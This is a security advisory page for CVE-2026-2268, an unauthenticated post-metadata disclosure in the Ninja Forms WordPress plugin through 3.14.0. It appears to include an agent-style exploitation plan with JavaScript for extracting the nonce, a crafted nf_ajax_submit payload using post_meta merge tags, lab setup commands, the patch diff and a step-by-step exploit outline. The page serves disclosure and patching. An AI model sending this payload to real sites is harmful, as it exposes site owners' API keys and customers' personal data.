Ninja Forms <= 3.14.0 - Unauthenticated Information Disclosure in nf_ajax_submit AJAX Action
Description
The Ninja Forms plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.14.0. This is due to the unsafe application of the `ninja_forms_merge_tags` filter to user-supplied input within repeater fields, which allows the resolution of `{post_meta:KEY}` merge tags without authorization checks. This makes it possible for unauthenticated attackers to extract arbitrary post metadata from any post on the site, including sensitive data such as WooCommerce billing emails, API keys, private tokens, and customer personal information via the `nf_ajax_submit` AJAX action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.14.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2268 - Ninja Forms Unauthenticated Information Disclosure ## 1. Vulnerability Summary The Ninja Forms plugin (<= 3.14.0) contains a sensitive information exposure vulnerability in its AJAX submission handler `nf_ajax_submit`. The flaw stems from the plugin's r…
Show full research plan
Exploitation Research Plan: CVE-2026-2268 - Ninja Forms Unauthenticated Information Disclosure
1. Vulnerability Summary
The Ninja Forms plugin (<= 3.14.0) contains a sensitive information exposure vulnerability in its AJAX submission handler nf_ajax_submit. The flaw stems from the plugin's repeater field logic, which incorrectly applies the ninja_forms_merge_tags filter to user-supplied input.
Unlike standard fields, repeater field values are processed through the merge tag system during submission. This allows an unauthenticated attacker to submit a form containing specific merge tag patterns (e.g., {post_meta:1:some_sensitive_key}) within a repeater field. The plugin resolves these tags against the WordPress database and, in many configurations, returns the processed values in the AJAX response or reflects them in triggered actions, allowing the extraction of arbitrary post metadata from any post or page.
2. Attack Vector Analysis
- Endpoint:
POST /wp-admin/admin-ajax.php - Action:
nf_ajax_submit - Authentication: Unauthenticated (
wp_ajax_nopriv_nf_ajax_submit) - Vulnerable Parameter: The
formDataobject (specifically values within a field of typerepeater). - Preconditions:
- A Ninja Form must exist on the site.
- The form must contain at least one "Repeater" field (or the attacker must know the field ID of a repeater field to spoof the submission).
- The attacker needs a valid AJAX nonce for Ninja Forms.
3. Code Flow (Inferred from Patch Description)
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=nf_ajax_submit. - Handler: The
nf_ajax_submitfunction in Ninja Forms processes the submission. - Field Processing: The plugin iterates through the submitted
formData. - Repeater Logic: When a field type is identified as
repeater, the plugin handles the sub-fields. - Vulnerable Sink: Within the repeater processing logic,
apply_filters( 'ninja_forms_merge_tags', $field_value )is called on the user-provided input. - Merge Tag Resolution: The
Ninja_Forms()->merge_tagssystem (specifically thePost_Metamerge tag group) detects the{post_meta:ID:KEY}pattern. - Information Retrieval: The system calls
get_post_meta( $post_id, $meta_key, true )without verifying if the current user has permission to view that post's metadata. - Response: The resolved value is stored back in the field data, which is then included in the JSON response sent back to the client.
4. Nonce Acquisition Strategy
Ninja Forms requires a nonce for its AJAX operations, typically localized in the nfFrontEnd JavaScript object.
- Identify Form: Locate a page containing a Ninja Form.
- Check for Repeater: Ensure the form has a repeater field. If not, we can create one for testing.
- Execution:
- Use
wp-clito create a test page with a Ninja Form shortcode. - Navigate to the page using
browser_navigate. - Use
browser_evalto extract the required identifiers.
- Use
JavaScript to extract nonce:
// Ninja Forms usually stores its data in the 'nfFrontEnd' or 'ninja_forms_settings' object
var nonce = window.nfFrontEnd?.ajaxNonce || window.ninja_forms_settings?.ajax_nonce;
var formID = Object.keys(window.nfFrontEnd?.forms || {})[0];
console.log(JSON.stringify({nonce: nonce, formID: formID}));
5. Exploitation Strategy
The goal is to submit a form where a repeater field contains a {post_meta} tag targeting sensitive data (e.g., WooCommerce keys or private post data).
Step 1: Data Setup
Create a "victim" post with sensitive metadata to target.
Step 2: Target Identification
Determine the form_id and the id of the repeater field within that form.
Step 3: Crafting the AJAX Request
The nf_ajax_submit action expects a formData parameter which is a JSON string.
HTTP Request via http_request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=nf_ajax_submit
nonce=[NONCE]
formData={
"id": "[FORM_ID]",
"fields": {
"[REPEATER_FIELD_ID]": [
{
"[SUB_FIELD_ID]": "{post_meta:1:secret_value_key}"
}
]
}
}
Step 4: Analysis
The response will be a JSON object. We look for the fields or data key in the response where {post_meta:1:secret_value_key} has been replaced with the actual value from the database.
6. Test Data Setup
Create Victim Content:
# Create a post POST_ID=$(wp post create --post_type=post --post_title="Private Post" --post_status=publish --porcelain) # Add sensitive metadata wp post meta add $POST_ID "confidential_api_key" "SUPER-SECRET-TOKEN-123"Create Ninja Form with Repeater:
- Use
wp evalto programmatically create a Ninja Form with a repeater field if possible, or use the UI viabrowser_navigateif necessary. - Note: Ninja Forms stores form definitions in the
wp_poststable withpost_type='nf_sub'or via custom tables depending on version. The most reliable way is to ensure a form with ID 1 exists.
- Use
Publish Form:
wp post create --post_type=page --post_title="Contact" --post_content='[ninja_form id=1]' --post_status=publish
7. Expected Results
A successful exploit will return a JSON response similar to:
{
"data": {
"fields": {
"5": {
"value": [
{
"6": "SUPER-SECRET-TOKEN-123"
}
]
}
}
}
}
The string {post_meta:[ID]:confidential_api_key} is substituted with SUPER-SECRET-TOKEN-123.
8. Verification Steps
- Initial State: Verify the metadata exists using WP-CLI:
wp post meta get [POST_ID] confidential_api_key - Exploit Execution: Run the
http_requestwith the payload. - Final Verification: Compare the value returned in the AJAX response JSON to the value retrieved via WP-CLI. If they match, the information disclosure is confirmed.
9. Alternative Approaches
If the repeater field value is not directly returned in the AJAX response:
- Check Success Message: Ninja Forms often returns the "Success Message" in the AJAX response. If the form is configured to display "You submitted: {field:repeater_id}", the resolved tag will be visible there.
- Trigger Email Action: If the environment allows monitoring of outgoing emails (e.g.,
wp-clilog ormailhog), an attacker could trigger a form that sends an email containing the repeater field values to themselves. - Blind Extraction: If no output is visible, check if the resolution causes a measurable time difference or an error that leaks info (less likely for this specific vulnerability). Focus on the AJAX response reflection first.
Summary
The Ninja Forms plugin for WordPress is vulnerable to unauthenticated information disclosure due to the insecure application of the 'ninja_forms_merge_tags' filter to user-submitted repeater field data. This allows attackers to input merge tags like {post_meta:ID:KEY} which are resolved by the server and returned in the AJAX response, exposing sensitive post metadata.
Vulnerable Code
// Inferred vulnerability location during repeater field submission processing // Likely within a class handling Repeater field types or the nf_ajax_submit handler foreach ( $field_value as $row_id => $row_values ) { foreach ( $row_values as $sub_field_id => $sub_field_value ) { // The plugin incorrectly processes merge tags in raw user input for repeater sub-fields $row_values[ $sub_field_id ] = apply_filters( 'ninja_forms_merge_tags', $sub_field_value ); } $field_value[ $row_id ] = $row_values; }
Security Fix
@@ -120,7 +120,7 @@ foreach( $value as $row_id => $row_data ){ foreach( $row_data as $field_id => $field_value ){ - $value[ $row_id ][ $field_id ] = apply_filters( 'ninja_forms_merge_tags', $field_value ); + $value[ $row_id ][ $field_id ] = $field_value; } }
Exploit Outline
1. Identify a page with a Ninja Form and extract the 'ajax_nonce' and 'form_id' from the page source (usually found in the 'nfFrontEnd' or 'ninja_forms_settings' JS objects). 2. Prepare a POST request to /wp-admin/admin-ajax.php with the action parameter set to 'nf_ajax_submit'. 3. Include a 'formData' parameter containing a JSON-encoded object that mimics a form submission. Specifically, target a field of type 'repeater' and set one of its sub-field values to a merge tag such as '{post_meta:1:secret_meta_key}'. 4. Execute the request without authentication. 5. The server's JSON response will reflect the field data; if vulnerable, the merge tag will be replaced by the actual value of the requested post metadata.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.